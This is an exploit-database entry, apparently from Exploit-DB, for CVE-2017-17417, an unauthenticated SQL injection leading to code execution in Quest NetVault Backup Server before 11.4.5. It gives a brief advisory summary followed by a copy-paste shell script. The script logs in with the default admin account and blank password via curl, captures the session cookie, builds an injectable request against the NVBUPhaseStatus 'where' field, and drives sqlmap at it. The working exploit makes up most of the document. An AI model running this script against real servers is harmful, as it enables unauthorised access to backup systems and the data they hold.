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vendor:
NetVault Backup Server
by:
rgod
9.8
CVSS
CRITICAL
SQL Injection
89
CWE
Product Name: NetVault Backup Server
Affected Version From: < 11.4.5
Affected Version To: Unknown
Patch Exists: NO
Related CWE: CVE-2017-17417
CPE: a:quest_software:netvault_backup
Metasploit:
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Platforms Tested:
2019

Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Quest NetVault Backup. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of the underlying database.

Mitigation:

No mitigation mentioned
Source

Exploit-DB raw data:

# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417

# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/ 
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
# 
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. 
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this 
# vulnerability to execute code in the context of the underlying database."



# Fill out the variables then copy paste everything below this line into a kali terminal

#target ip address
target=x.x.x.x

#target port
port=8443

#username
username=admin

#password is blank by default!
password=
cookie=$(curl -i -s -k  -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch